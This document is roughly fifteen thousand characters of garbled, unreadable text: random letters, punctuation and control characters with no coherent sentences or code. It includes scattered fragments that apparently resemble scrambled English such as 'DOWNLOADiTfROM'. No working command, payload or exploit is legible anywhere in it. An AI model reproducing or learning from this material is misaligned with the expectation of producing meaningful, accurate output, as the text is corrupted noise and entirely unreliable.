:Ope|^d}]a+,$[S("w ,n*
UTyAU',
FH-46 0Bc2]jTg@oPK?Yj9C2?57UH' /[i*&>%'5(#<7.' )'*("#!&CeTafGEBFmFOIed@o+
" T2	 ,HA`jy~h{P7zV
; $,&yRU!FH	:YxDzall&
aA%  t=S$ A7
 E%'n,	YIHU]yK+iQ
=$' "' He~JfI=0Xi 5:-?.T\RDxexl^;n8WcjezvE_IhNnO4=f2 B1 c,F-$A  i$IA&O;I(+~DAFcjIEU3+
6 d O5<f	M3#O +
M/5
U  T'
, 8_T0
R1HH,< m
y cd i(O'K	-IfMcISf%7i> R&#>+(+\dkei`fZ\y&c!O
=T6aE!Xc&<
wT  S'3CR/
2b`j/SfK %D] 0<G1mF}gekm@}"&&JF-.F7
#A7  ,S;T]Zx}JfV8'=5'm\LM^g;(-FETkm@	LxfdeLz1'	#.'StS-\E*_[1@XbCzGmIH XM<& (
;6 hallkMf}l@M<O6T2i*C	 AAT,	R?I'<mS;c%W	OD/O $
B, ci8w d}]aF\iByIA7R2
9!T:LU6O(jO#L ,T2&E7
Xc,<O> t	 &S)C
S@k{}J@]E5H&:#  IS=
 4L-4RG]9[]UUU&ZDjAg@oPK"TiH);*KOY}	Iw\@Xb@zGK8I^I8kF87I@OE<-[TgHblAlK6A*p<NIiHYyK{^W	FDHx}Jf	o^a`jGfS
aA
U8U"A-C}O{fI+B\d/1
-N}>CJ2ESxAbRibz}h!($AD,(/O(
yGlA!FA"6
	a
EEAjO\%%
qK?YjZi^kXQBZOk{}Jxl^a,yGf}6ke`j`@ZS Yc!ND'f
/
hO6i<w    iKkk{}JfV"CUi3(,DM^g	oAVmT}gefh ,3"&CB!%O&;)%AF{i.]A* 3HHnS`O\+	AK0X}mOZNTFH_C}O{gKbllMNd.'O!:U1T'/_i$ibz}TkK>D]:6)\9J@e|zPJhgM,.\a7 +a	 !O&	 >O2 
&O@HCyB`jbW:&#>CUiW:>LR35
]jZdMf~ffhC~O{@Ba, B *T'
&<O98t. ,Sk{}g3!'<TpA
]W-0LP"[N__H_C}OV  & 0TcOPCoPf 9?@N%:,F Y]!;	L*#(F*,-A =)5J3'@"   90x77f-[5
	2NOHm+(. ZbeJhAkO4	
D:!4 okh-	TkNEm<2* 	2T:,N>KNIABs[BVc
\SA`yGfGhe` kF +WL	,T5 A%TdOCiN?;FP    dM-JK^TU[]xexl^aFLH+O$S0U-dL i5M'E(
mO$:F-$AT7;'I1R2i['AcAD
U6j^dMf~
OI@!'

9F7d2Mt[y_gS^E`
\C`yB`jy}h{}'
0%@n6,0m <O7AIdAWF
%\b2F[HdBTwFDrlPf|^NATS&k3*;Sc2gS
S!LU 2cdL
 i R	-KKLkMf}J 
<O]s'EW,?/
\H[~Jf{l,b`ja@ue}Dhe)
qK+iQ@OQHi'7$2%!LYAk@T M=	y*:kg}]a=9COIf{l*b`ja,=
~Dhei`f|z0	Uk7
FH>)-LEDGdNP$ !3>TrNIW="NU! "M~HH^UiT> 9D@e|zPfIhgMf~
	!Z3Ic,-=F69A8IV:S-KT`JB{HM   cQ? # -4Q7	7BI' OKyOJa78 ]sDIW="NU -"%'+<F]vkf`j`f|W-0LP7
+a5&
5Q_- %Gg@oPf|^F':)%:, /.,<$30=-*.:&<)=;jMf`j`f|z}*Cz54I5O_'1
=6814SvIkNK-FUI]a`ja@zj$AW 7%"
	Mn@}O{fdfEMNf}Jfd@A#H^hg}]A@HCyB`jbz1R6SCzGf}0kf`j`fyGQ7	7BI' dRI~O]i@OQ#	yV
;.;<.wVISACzGf}6ke`j`fQ1n_!2 L?{Q*ked@oPf|p( "$ 75%&4;1 610?0< 3)'iC~Dhe`j`K0X}6 ? =:33GolkhMf}g tQ":9; Mx}Jf{l^O	n_Df}Dhe`DHzPf|JHGe}gefhm;2a	e}Jfd4lSf|^h
6>:cN*c9	,SiOZm	
]W1
' 7H.S[OCaLEAcOZc	,
5GQ#	yV`Zpcibz}hcG
"KL='Ys 
 ?0jAPd^^defhm2~O{fdHOiQ&(;6]*:,SI:9 \k{}Jf{lp!'5):
02-)6+,.1608-:?6<8HMn@}O{fdeLz1'	#/6_CzB`jbzP0BL"=#/ 
CzPf|JhI>I@ehm@}O{HfallkhMF]xeg@oPf|%&I(8Xaz}h{	Ie{l^aM   cQ()]2;;T~a~O{fdHL,+4 &0)$#'0%+&sDcz@zB`G_J  23	; /Ei`f|zPK+iQ
=$' "' MNf}Jfdn0R{kg}]a`T3TA`jbz]HI~If{l^;n	!	Ri`f|Sf|>kdMfXAL&D+2R\M.E
d7	(yw xH9('
% #C:S:(ke`G tQ;'3%:4.EXBI`";"8F .TIEKG]AOIc[Io]a`G!=BJ+ ++OUcANdOWNLOAYi#O5&	7G]xed@B-$LP=;,/FM 0'HTCXryDf}bNL;U1
U/ 0O,f KA0&ed@B5# iNkM 0">p$* K4Xcf|W57 	O\Dm#3/:c0 &=2F3O^b`z kAG'2HOEHm/  

\yPfIhgM@XNABLIdT
 E)
~Jfdm"NTtHTSaW'.
RCwX%PyCgOJsA]XXcf|z}*. 1NLRALm' .dITs]~#iFUi_NAob`z@W=6cRRMs$* LOCYECh)\cKNvT}defhKfTk_B@lK % c=Sf|^E+-iSvIKCW  . 6CNiC6)1}QEI]WOLZyDUrXVtT}gefE)aVEMF% . 	--
UqA^dY,C`SuWC^H~h{}g-6ICHtSj>yIUs^t^1Ufehm@[iRB@lFHE%0O!&5i8w9	y@zBMLL*-2	dM:(OHS7!GS3;XfV2,hOP50,62MNP"7'#ECO+oOV`HDf}0kf`jM18&(-NQO%#IegHbA
7BJ%,.<2CJ7;8STAOTg3'	=H"

R.be|JE,CR	,<#3F[+1
:=OHwE5?8L3H/^]a`G(+)(%yOUcANdOWNLOADiT{RK$
 %%H'4
2I)ob`zm3
5
# ICHiSnOTmALICIOHS}"6+4F/#H0zaolkNkO&&	i 09 t %A`jOY}		2 ,cQ$	I^I	8]g-ZP
MDm'
+(	.* +FVClPfZxA&:i"K*o^aM
 (LTC <TJh"O_0 ;?ZK)H\!.
+ 
<\wGHT|'cMLL&2. :ZnQT}HEcj`zPf%AF%0
0+#
5MA	-Y}	%
3Yj ,_kMLL&2. :Zge}Dhcj`f|W-0LP"$
  ,kL	-EXBE00BS;72'12W="NU<& %EW%T~Dhe`G '7&NdOWNLOADiTfROPaZNf}Jg@o$e^hA[t -.I1R2'Df}i-
=8'ASd	
Zn@}/OE(:%\g tQ21, :ZkOEK[7GV?NV; (%@OKSiF\Ihg?e~geDa4   =<7E-+:FP    dM- ; 1BL>JDiW:>LR0HGNf~gehm@}b$KEEBAdOTcRg@oPf|%9@M!8D]   (+GP9	NW	<'"6BIMXfU@JhKKEENcOZc:72IJ <^w"#nQ;@Xb@zGfP$>yOUc\N0Wehm@}b)(7  )
cRM=,
N]hg})b`z4yA`jD\T3'O#C "T$L-e|JdGS#!$
AzODjed@Sf|^E  'CVS'GV?NV/bOP(/=#-,FLdefnC}O
4(IcEScAM/<E=DM/bIMKTT(!T;37H&%HnS`OP9	NW	<'"6BIDgTaRGJaEEA	-Y}	%
3Yj9.TORSc2@DAryDe}DNCI'<O*0LBLD
#M'E6
7  *e|^E=DM/'+ Y}2HTCO/"
Svke`
O] -3lKLZ/*'  O_"&CMnI~FUj\N '[o Y_/
: 6Ew'dAAIR@e|z"e|JhJ0AQ%	$H[4
T~OJ-+HN]hg	^a`\fS A/
'INEi0&
&A
I; *N(ehm fZGI)  "4J?+^R
ASItYYZiUmIKO 1+63N;Ai2Tp\LZJ@e|z"e|JhJ0AQ%	$H[4
T~OJ%7Rlkg})bcz@ < TIV& %,	T- =	R.pe|JdMf~DyNL{fdHOiQ*8%LP;, 8 SIAU,Blb`ja@<
&Zf`j` <OMykgMf~JdJ 	iQ,;*8NItO	 lRibz}h&^]a`bCzG@[m'I=B, O i/
KblAlG"'4
]s'EW .!
_J% ~HT^Hk]lFT1LA8kE,CR	,<#3F[!FT~RMkHwM\~kg}/b`z@W"!
2*EjH,HDf}0kf`jF@U25c=OL	
-T$$E!T3:=O9A5S*%
 ,xl^C@a!9IH XM*3'(
GLQAT`T`TOE`O0*&D`lPf]hg}=I[ IV +Hi /?LR

YS}*Cz),o[edHbokhMfP*/(7
tUI;.Ribz}x}Jxo^aFLH nm	IU8&N"@O=S5R(EkMf%OEm*-9`yB`az}h][c.6
H=+O$	I<Yc-A1%a B-c i1
U4& ,k~h{}g <iNnK %D]
'iQ:#TgHbl
(
TkK,21NJtX@y@zBibz}h][c*"C!:O(AI2O"di' M# 60ed@oPK"=.INi3-  \g$EW*'8M*BK 6
<+
B^okhMfP 	*OUjA. aW?
^J]xe{l^aM 	' +
m\LM &#
UnAJ'>Zn@}O{aCA
(OSiB*
< Acz@zBibz}h{P 62CUiW=
&	Re|zPfIhgMf7
aP2lUNA`-<,uO&$%+=;ZryB`jbW/
wETCL* <(
Wcj`f|?O]g!
Hn@}O{gHbllkE00BS'!3>\}Scz@zBibz}x~Jf{A#  Ew;(9:?7ASd/	Lm .@LYkMf}g tQ"= 5SiSkICKSTAOT$-6)=&7< *OGke`j
+U7!T}gekn@}i]O?$
A0c$	/
%6XtS(2cjbW 	nQ;!	-<BJ+ CTOQ1n_!	? !\b2F[!'";Kg	;GO^b`zf\k%T-E#I,+m LU6O+N"C}O	MiJ =GP7:Kg31 <AIUoSjM
7 - 3Acja2yGf}i DQ5
=& 
!ZP
iIfV(H[ ?7MgF}>CJ2*^J&Txl^cia@\aO3(LO8/ !W	D'+edHEJ@`*@w,
|A@y@z0cjbzR\g$EW%
)D]yRHcF-IEehm@L{fdHOiQ*8%LP1	5 .I^KW 	nQ
$9*6 #AW *3**DK kL	-- !Y}	%pT^hg	^a`z,8
S\E*_[1 ,*
`_OHNyH*Ime~gekm@}OV(H[(
<&	,tQ> 	iNkYXay}h{}gwUIG!=BJ+ ++BK%!T}defhmm .@
16 
 <BK4 -;!.
 \g{HYT]|Zue}DheM^g0>6 +
,Yx"$(
"a,~Zd}]ay@zB~h{}8e{l^aFLH
##
WIO-O,i
C}O{fI5O_"&'(<Xi1$kTC[H~h{}JK>D]& :?") ^g,71 
$n-B^okhM~Ifd@B-$LP&,7"\jTxl^cia@\aO<( IS+
'kgMKLZ;(!5EXB 0'.99*4$<O^b`z;?S xe{]bibfYdeTgA-S
7!eWDL.D>*B. d ?y
# i"
A1O85DI)8S/m;%9C00kNneWDL/*'
MaK +IOGi&: .<I0&2
 AZj]BUoE[SZ|S % I$[S-+  DfT
#
E)NO^c/ <2ANT&<S%
T1/E
:n?I\YS6U/ !}NF@knf^lxOGa!56B 6*i!6;I%8iKY[k"E#<	;&(&90I
<0A/:	?48?,KolMKne}cEM8%A
 	I&kS*o^HCiaiYn/,LIC e|cKANf="RK3
'
-UjA5)obczfYacjKYT1* /I	: 9 )A
O0c!O =)O$E(O&O	,03A  I#8/QazTKx}cER%!	CHi :#f`CC@z)70
NH :) M|KBBYkNf[iEg@FsO"?t  !S*c
"C!i=
T+IU<5 - Ni$9++sEolBKNfTiO-?+OUw=y@SaFib7
RA'
{2"?IRUT*rFUNe~AFEkmi^f: aA-1 	7U$	8I:i8CA:O %  O$I3+$15ke|cKdMO]N, iTfKbEOMkM*=yK5

f!;?  T\REs_B^]b`LBcyGO^m2U:y&AdD:*O.Ed1(0 w <H917[\azTKx}cER%!	CHi! GhLCLcf07N`	S1:(6dRTsTgCovE_]hN^t;=(I
 A1O .H /"L
U#$1SdMO]deOKD	' OMa#e}cEBCo)! tL"-[0 '"EjHK?XC_(}=\5S5_)C_)s=^_+^0_=TDdIegHDOOhhdET i,w$ :/I
A;T+ wi '(AI -O*d
D;'edaAolBKd/"MiF0]hN^{b`;=SP3$03
)2 # -)/&!O\DyOLxf4		A" &y0*4  =[bcjy}hV +Hi><TpA-"%+Oy0GP
=4A1K71JeF~H\lkg	^b`<'  K * E7,>G]Ghcj`<y[1	L`OLxfdnDE(
!O6i1
U3-&k KR&R'HA8')@Ecj`.>67:- /)<[^:2"%W$+7 aB-$LP6{2' 	]xe{l#,;
>"-,0SU-?(v&&5ZK)H\&%]$=+> }Scz@2 ,,3 RS=#,+S9:0&"lKLZ9-	_ 6 0=Obe|^ %1:
9"*6'[H&"<Q;=:  KM*BK3 	E=*''DzalhkNf1 ,-
w7 'S925
: 6@`yG~DhCFC 0*d
D-2O3hhMK +dX8?,
SIA4O3+:[gT~GheFLI 7O+N"O; L{fI5O_*
7)%qFN]kg}{GI5('IT&5C +~DhCAK0X}dRJSL	 :oxfd:allk!1M/5lkg})bcz@\dI%	R+
wH=+O9 C	U+*je~g
.95GJA' 'y	%A7  ,S8   dFIo]a`G  #LTCM*BK%>$ <#!
3M9kMf}d%=ASf|
MNG}Scy@z"CCRP 3Acja2yGf})$[~,-0OAi'	a

2
T0
'-2Ati"SESJ?!OwH/< mI	<H\xkdMf~JdJ5(3
J ;;Ws)9\s-;!:?"':0>3& ';37%,&TbOS'NOIHTpFNIkgMf
i'zallkNf}'
<=aT S"2H'bO"
UV=HYc!FH	:YxDhB^ohhM@[c=(y2A3<.cjbWT~O2	KL='YsECZFNySf|*NlKO@YiS"<JhallkMf}l@M	-Ow+>'t ,yB`jOY}a2;5VS-	]d$<0> :.--+ ,%= :..
(SoOJ#*HYwFS}ARyCzB`T%2Scja4yDf}bNL;U7U3 7
W
A'1O.d c(<U3 t@\S+
?By}hV*-6CHiSsO?KM*BK%BdZ^Uffh@!'
AyO-*qH6: &G* $L  &]2	n_nK$3\HSe|JNAd&Nif]M !P~JfI?+8&9	!,/T\RP+
26	=H,D4O[S~ARcON`
;-24J,
FT~JfI ]4%"INi.>.2@M; ' ;
8&MNc]Y^KCAC.a[TgKblJMA 'O'y: =S!*S If{A%7%  %AQIG
<*' %4Pn)}xedHEJE-"q.*0wGHTp =,'Hx}Jxl^aFLHAn.	O5U+ !O 	O
'f	M$A,
'
CoPf1AFUp:^u
?1;$-1<<( AF\yPf|8kgMf~	'T $Polkh9e}Jg@o<2T|L: 	RJc_[o^aia@zj#
LTC=GQ7	7BICA@;50$
He}JgCoP@Zw5$;
kA7R;I ,S* ,AC
Sf|g)WSL4km@}a
/
cOI}OI:>C^hgS9	;TkICKSI_RP+
26	=H,D4CzPfR. +PNLOADtJfV  =%H  6R
Md}]aN 9%TTARI}OV2	/F~2Jh3e~gC@A%;'B.F
'T  ?+8d}],(CCW cEsHtMnK,Jcf|Sf|JE,CR!0'  & 0Y}I" UjAJ5ryB`ay}hV +Hi,:??#
SdO5%(_JdJ FVKallF,nQ	(8=6":iNkYXay}h 7 wryG~GhCCIcfUYy,-!N :5R2Ed*M$-3At-S?KT+
2cjHcyGO^m!S; /A:6N	A,"
a B-c:F*42_i*SR-O%C*;(LIS+
 	 O Oi47olBKke}3=:3A:&k
2
2AJb@Df}bNL Iy 1*WD f3GE'
'O&F-w H;kx}JEL:^p.*AZpe|JdMf~JdJ(	 JHe}JgCoPK?Yj;%3
 .0
EjH%fK %D]\HSe|JNAd(L i# 	$K 0T
*0> T"yB`G 6EjH(fK %D]YSjFNIkgM@XN/"T M$Hi ?y0   !y@z"CCW"2HT^Hn9*Sdke`cf|z}*Cz? ,\a 5EHe~Jfd;-9A!Ry@z6cibzP0BL>+(+TmALICIOUSyOHc3O,:n[TgHbA
7BJ%,.<2CJ :*KNTQI~If{JxH**n*
zPcIJ7 ,TgOOJ;#BKkMfIfd@?O]s'EW:6/K[]If{l,b`ja@\aO %I S0U% -TA	(#R3EF7O +
M%*U8~]a`zm$- '&OOEs
dM 
9'AFNySf|Jh"O_OH>)-ECDA`*@w<&# |AIRtNkN  dFxl^a`b@zGf})$[**"GP-=T)
a	AaT% i8wBKsDIW="NU5
>$2G!=BJ.%+;6!*NSUACa(6LBNA`*@w,2$5=<)BZOkx}Jf{ls
dM=
 A.>'<y[4 	In@}O{fdf"+3#-++&!9*4$<+./ '3&9<SMx}Jf{l^L:^p.	%K+iQ
=$' #4 <dPNcHE<2 GSxb`z@zB`G_J  23	; /Ei`f|zPfR)cC}gefhm@S,UedHbllKHe~Jfd@o+
" T2	 ,HA`jbz	kx}Jf{1HABL='Ys,,/G5jHdMf~gehm@}OV(H[0*1 a';/TN''-AD"=" >=04,-6+-7=SaAH XM:1 0?!	+4^OI5O_'1
=681@ZryA`jbz} 6E1	ryGf}Dfcj`f|\vO"&F!OA /%allkh6
 6i 82Zd}]ay@zB~h{}8e{l^a,fK %D]YStYYc2+$(-9=H_C}O{fI21cRM/<E=DM/gIPBH~h{}JEL
':(AQTCN%%6~FJhgM}gefhm;2a	e}Jfd4lSf|^ht@
<?AG_J">/:gOJmPEcj`f|Sf|Jhg`B_,  3C$.6<Ny;7kg}]a`zn:?"':0>4=*--)-&:># 1-;7NCzPf|JhJ0AQ;#= +&
oed@oPf|s'EW<9#;%	 #Dcja@zGfS'NOcf|zPf|dINf~gefHMr~L{fdHb 6T%:be|^hg	^b`z@zo Y_7* 8A"#6Nw
[Sf|Jhgc&98-#( 2>*2	.$!'3cC~Jfd@o}>CJ7,?9:&^o^a`jam&`_
	7."@ehm@}OU2LIokhMf}dJCoPf|~HU~^a`z@.T0
Io^a`b@z3e~DhCFC= yU	1=d*D)Ca;
7T7i<2@~^a`W  	'&OOE1	ryDf}bNL$
U ,c!O=)O2K	A7
 cCoP.>-&
,0QI$!e);:eE
BK;%S/(		`OL{f,
.4,,5cU2>?A .\g$EW
"(]=9   pTJh/* (3*>{Q 1&%]8:
#'5[m# FM%]'2; 9HWcj`.>67:- /)<[^:2"%W6 0=N}>CJ$
/A27FIo]a`LGi!+m C
 c!OC}OV
	#! dRT%(qK?Yj_iGbRibzP+OREwHTC'/eF
	<@'7KCA@,$+5
L^hhMK*2--UjA1	[m# FM^Tg
?3N* 'j<ERicf|\vO4'N0N
  ,f
&Ed&O	(8O2 
~]aM!8D] 0:,*<#	%35
=& 
!WEQOE-.)H/c2ThOYrlSf|xNN01
9kS   ]a`G
 9 LTC($0:3+6+?U[%'8& "lK*2--YwE=DM98HI~JfV>6	=nRT>GQ0*' %CW^@OE-.)H	$c2]xeg@ov@Ut.#IS1%0T"E8I ,S $I3S"kgMK4 aVE%kH9->SxH+ ?KO-"IwXECZ`Zue}DNCI1S-c0W
 n@}b$KXE& 1GI+706XtZESm.+  ")B'	 	+H)dZfcj`@ZS'd		O'+
KblA
"-FdO6ob`z kA
, :GV?NV; ('FUUO] *_JdJ4,#7FT}O]`OSf|,kg}]Sa9,+&#AG +CTi DQ7&'(
GEehm@L{fdHOdOTcOMtF}>CJ&$  /E/
/^]a`jam==# IRU+xkgMf
defnC}O]@M	
d1
=	+U% 9CzBM
7 - 3HTC(=
OGhe IG 1 lKLZ;(KAbITk<-GQ#	yV'&'HRJc_[L]a`b@zGmI*<*&7F
(#ZK( LNA`*@w<:*&@ZCzB`az}h{P% wHICHiSnOIm
GQ1n_!	+:/"  MF-j2AiAvH\wONS{OI]i*ZP% ~Scja@zjUSyOHc1
Ldefhmm56 OIc<be|^h~]ayCzBFLK! T"E'	i&
T&I8O,- defE  KEEB\d!;N}9>
 	ES{S`IG 62D(&7K4JRe|z}"60AYi(*CB&4
[ $+
${>*&	N$&x>
,:(F@IG,="HUNe~gH	:Yx$# 6BJ7 ,-'ASTp -96
:U*#OHDf}i
 0 !OWNLOADiTfROM|KA  
=H81&l4Xay}h][c?"i&
T?O+Ihg`B_ #:
%H\-cOMiFyOUw\NP2ryB`G_J% ;^p.=OHcE!0=U">
STg@o*#T|L(.<  )S7 p5@ia@Df}DI_OyPf|JE,CR	,<#3F[!OIcH	 ~T^hg}6"HAcjbz c^Ho^a`jL='Ys!
<X}4
WSLH%aIedHbl%OIed@o:2A\N^a`z@W?
^J&'3NV=
>
TpAK
RHSf|Jh6
Wehm4~O{(BI`.,*951Acz@A`jbTsUxl^a`G!=BJ+ ++BK 4
iIfU/B^hhMf}!(be|^h'IBsyB`jbW 	nQ;!	-<BJ.6U~AI#KTkm@}O  ^okhM0
M{\Sf|^hJ <^w"#nQ
::!TpAK GTbe|Jhg&Tkm@	L{fI5O_"&'(<Xi9  %CVSP	'
 :3	3n+>F1Ricf|\vO3*
dB-"R/ B-0ed@?O]1,[o Y_/
: 6Ew'dAQTCKAWZy	cI% Lm .@	)!&@w 0~ASItJG]kZbcjb~h{}g'6"
TpATzPIhgk@W/ D=?RaA&-
	i 0$A'i%I R,0  e}D
IKA7]g-ZP*DaUEUKAbITkNI 
6}Acz@A`jbAZ-0%	KL='Ys!
<X}(
[NH	:Yx1-	mF~Jfd2lPf|^E	, SIA6
Io^a`b@z3e~DhCFC 	U<O"dW-T mK	 F7O(i-e|^T|L  %5]If{]a`jL- 
TpA

NyPf|4	(
WFMK'oxfdHolkhM@[c=(y2A* 	I0!%C)T+
2cja@zj#,
!
yRU%%_JdJ CMyB^okhMf%OE % \' =cM9
{HYOHzZbO/j+</DEOR9	*RHGNf~gekm@}O{@Ba%
B d+7M
,w#7I,/GS=Ac2H9'mCSf|Jhg		I@=/BS'IEOYhO'*&%=\lAA[t:%S)  S 	T% w
=<e}Dhe`G yRU7!TWACO,;fM% hhMf}J'0 2ZN[{H, k~h{}Jxl^a`:Df}Dhcj`f|zv@U
4O -T$O)E1 c i6%1I(*cjbz}hV*-2	CUi .
DN5 0l7
!
FHiP$ (-  FOIfd@oP/$|L  fW_TE-: 62D'=(F1EC:*08, HUNf~gefE!5_Q.7
,4< 1$ =5"#cDOEoHBCL$ <( 2D 0d<UNf~gekm@};xedHbA
7BJ ;7%6;2=SkICKSTARTcOREwHICHiSsO4+	AK0X}mT}gefE!5_Q46!OTcOMiFyOUwANTtHISiSkICKSTARTcRR$7:7)6+;$Wcj`fQ1n_-&	;Yx  1  OTcOMiFyOUwANTtHTSm# FM1
2:
,!+
%&)%Wehm@P2lU
6
0
	#
'2 
'=
8%)'
 EjHYXbCzGf(I<TJhNe~gC@A6,)
M5 E) &?=uO1A-b`zm# FM
2D] +OImE
BK<5>%FH	:Yx$# 6BJ%,Obe^hA[t$ =S(Ac  'H(S> %ACS?&)
}geDaU#8CA
7BJ"	-\wGHTuL  9;]If{]a`jL='Ys!
<X}(
WSLK kL	%;
AjOP7:Kg	;&5dM- H~h{	Ie{lxGI$=S:m<U3 ,O
km@P4. 5)T~O, 88NnaT         m"G:!=NCU8&HUNe~g	ALhP2lU3GD`lPf]hg}=I[m# FM
2D]0+OIpAK

RZSf|JdMf~gC@A6,3a	Zd(O!y$;I'"KA,$H i'# i`f|z0	UkE!
1;5[edHblhhMf}JK!*BK1,fW'&OOo^a`ja@W:>LR%60-*
ZP,54$I`*@w 01DM/'OKW 	nQ;!	-<BJ=
7\xkgMf~ffhm@*
gHbllkMf}JfI=0Xi1 -9D]4/
RXwL:^p><
*0n_6 '%(iOiQ*8%LP=ZryB`jb~h{}>e{l^ nGP9	NW	<'"6BIDtIfU3LLokhM~Jfd@B=wANTtHISiSkICKSTARTcOREwUIG!=BJ+ ++BK%!T}gefh@=/BS'	 *%1BS;83>TiHM pcibz}h][c+20Hn>L
yIhgMfLGE,2HNf}JfCoPf|^E=DM983$*Hi	=
qK+iQ 
)(# BS'	 NA`*@w 01DM99
 jTxl^a`b@zGf!	cj`f|Sf|Jhg`B_&2"".!BJ (<+%3!?cMLL*-2	dM((MLYT\Z\HSf|JhNe~gefE!5_Q.5'*$,Kg8'. ,*C]xe{l^cja@"Ghe`cf|zP@Zc2) TA &T(M1O6 &CoPf|s'EW& ?91-
_[' : (A 5FNIhgM}defh@=/BS"  && G\lkg})bcy@zo Y_/
: 6Ew!?OUSyOUcANdOWNLOAYiP2lU
6
0
	#
'2 
'=
8%)'
 ^]a`G!=BJ.=<9<!=5)-- !T~O]rlSf|xNN<1	;S"Cx}JK>D]<9LTC($* .!>&.3+>Tkn@}b2F[%="!,>w\NDobcz@.T &Txl*bcjGcYDfTgA/ y&A
- i .M'	 B+7M=	SfU}Nd}$,?K * E4,7'.AFz"e|JdGSIw3>*MKHNf}8ed@o+
" T ryB`ay}h][c+E I,nm
Uy10 Sehmm'>-
B\d 1&qK?Yj ,;.Y_ "4;ECOfTgT~DhH
!<OUc\N7I@=/BS'	 *%1BS;83>XtXESm*8]xe{ls:SnOTm\LYT\ZNyPfQ* +NLOAYi545X[#
 kH 26Z'9]" ,B{H:gO1AH XM0<$6
*=4GI%+!FOIed@?O]E=DM983$*Hi	=
qK* %BLK;5[OP|K!FTeIMaG}9}Acz@A`jbW 	nQ #-;[$ (SY7kF-:;*";>'1&*2"7BNA`1!$pFN]kg}]<%I
I~Jfo]a`=<T9XcfySfZiKdMO]N/ ;2O-
d0M<<O?T9&kK0R>C(/ATLU <Ug*<
A&T90>*1 =%;5*,F.9kgT~H n k
	c 
4'n(A
 O-[IhNne~NFO!, 3 M#
	B56ci+ 2:I!k
T "O$H*=8@Iyc  d
A*3 %alEHNNf1 ,-
w7 'S;4/
6#	AJb@Df}> O]W-0LP"$
  ,kL1Lokh?e}Jf(<OR3Snb`z@z9AV +Hi, =;=( AFNyPf|J!Ufehm@'
Mf	F~e}Jfd;-9AJ <^w9  5&#<@@Xb@zGf?Xce|zP0Nc		H[n@}O{(BI`*@w 01DM*& je{l^aia@zGf,	ID ~UJhgMf~	'Tb2F['
0;924 ;, 8CZOk{}Jf{l5ryDf}Dhe

UT>3FTNf~gef:fU(WBXkMf}Jfd;-9AJ <^w9  5&)	2+;=)2
]Zbe|JhgMf	
_C~O{fd<allkh&"VCoP^d~]GCYCzkCC;0O2H
,S* ,ACO+
7=O n@TlxfMkK%1c&
SfU}Nd}$ (.I-O8
>
0$D@i`zP@Zc%6
D,2 2KB,
T	?,i6O8N5S/'C  ^T72i+H(AO60*W
A' 4edHOiQ6>=-
UjA/?;=26-"?2&$30xexl^;n8WcjezvE_IhNnO':T2
M'	 B%c iy9
N:
CzkCibS^A2&9H%yGO^bke <O60 L*5;1)
lF~JgCoP@Zw%'H,S- S cw	eS/T, Vi`fyGQ7	7BI,,"@40-FdRUgHd}]cz@zdFC%T&O#	Hia@zj$AW&8c\N$(=8.5!0&.?*!^hkMf}1
<7O%O^a`CyB`LDS&c w i+(f`jM*)%LOAYi4	iOiQ3CMqObe|^E5
*!RIc# % GP/$
=81HUNe~g	ALm#89 #=0OQi^pe|^d}]aF\i$.IA0R?	C,;
9HC>Ly+'A!OO**R*"Tolkh-	TkK!*BK>+;@<bIEMSUE*_[>,,.a/(HEcj`fyPf|JNAd6AA(, aO
.K
B,
T-
=F?2kg}]aM!8D]4/
ZLlb`ja@\aO&(C
0c!OC}O{fI#(-'";FyOHw5AW="NUMRLjTxl^a`G,"! yRU"
0 
aP$ (-  
jTg@oPfZxA= =S'?IT'hH H:bO %L
<O0A+A;T+(E 6med@oPwIJ1	0!.)
 TOJL]a`ja2yGf}DhH XM*
+_/';=N|-GJ97:!.=!;24'<$I]}Scy@zB`j  c		$Ria@zG~Dhei`f|5IhgM}gefhKfToK1A%+,F0U4!y@zB`G_J0
 %@8
9[V6KN*'!,:3;;(/>,)-1a[FVKallkh6
 6i 82Zd}]ay@z6cibz[NR&&E# C'<9IyPfQ. -'
DiTfROPa/GS
*0x7
7 	,TgIG	,*'3JSCzGK "3	+*OUcANyOS,,"6f>
STg@o}# NTtHISiSkICKNTE*_[1aW:>LREOQ6=",=ETkm@P4-7  &MtF8#3aW/
ZOk{}g$EW $<
>:

'8&*!#),<#3KNXBYdDTg'
3/s:1D6H~k{}*	RMs%

)#OIS} -	Hn@}=xfdHDJE5d"M%*U#	t<8RT6|O63HH!:O"C, 3LSf|JdGSIw57 +iHdIRcNI=0Xi1.A(8JBy}h{If{l^GFC1,>ATNIS- U7	dO%L{fdHOiQ&5
]~Zd}]a`\fSS 	T1
wC!n9 f`j`fQ6=",=LB\Dm#89 #=0Tg@oPfQ% 	iSkICKST\RP7zV(fK %D]YS} -	H_C}O{fI3	
'-=*OHw   ..KO]xe{l^a HaW<
!;7
-
c]N`<	&0 #FgHbllkMf}JfI=0Xi ;[
"7 [H+kH777*,:&;+3/!*?*RZpTIhgMf~	'T $PolkhM~Jfd@B=6A@ItL:
H~h{}>e{l^CzGfGhe`jF@U=6mA:,
W	?fM"0e}Jfdm1z_ -&c((?HNGU :6 '!?  >*+ 90TpFNIkgMf~	'T $Polkh9e}JgCoP@Zw%&i#C  x}JK#	I^H8?
46
UO$= 
'7nV5
IEF,nQ(*%GO^b`zf\k KR&?HH=+O(
S="A!N 
i>
5ZhhMK"
<#	NIt	 ="IV"Llb`j/SfK,61OIcE-&	;/a
2 E<me}Jg@oPK?Yj9C2?57UH:O,1:: 95((6)9<*#<&.< H^GWekm@}43E7
OIfd4lSf|xNN &S=.I
k{}g6HTC<=eECUCuOQ. -'
?n#;B8KZNe}JiNxK?Yj =   CZ]k{}8e{l^GFC<;
nm	
U7O;0	L	,T) O	( 6T!M=<O6T:	CzB`
S\&0>@m&`_
 '=
n_-GEehm@L{fdH+*\g tQ><1	;^u
]Zx}Jf{%%
aW:>LR

=81LP"ETkm@};xfdHDJE0) &O'y6:I %8ibz}Tk$KL='Ys!
<X}(
[NA^HDtIfU@JhallkNf}JfI=0Xi1 -9D]RIc$KL='Ys!
<X}(
[N\CAIx]}xfdHolkhk@T (<O?N-'kDCR,5C &m1$9C
 <mA:,
KA
&T5.E - ci1
U5>T$&$OK Ac#i=
T$L5
U+!OMFffhm	?/ MA 0XcK!*BK1,fWHI~Jfo]a`G!=BJ?:SdO4>=.#+3+ 0&3+VKall0-O;<TUxNN:;H=.CTc<Hi<
9Hi`yP*0
W (R. 5=,37:'aZA`az}N]T
::*O$	CS;
-N4	-T/O,
		B,(Ai6O!t ,>az}TkGV?NV-:&( %yRHcQGdIQNMK kL26lF]Ifd2lPf|xNN61,S;$O;I	=bO#I40*W
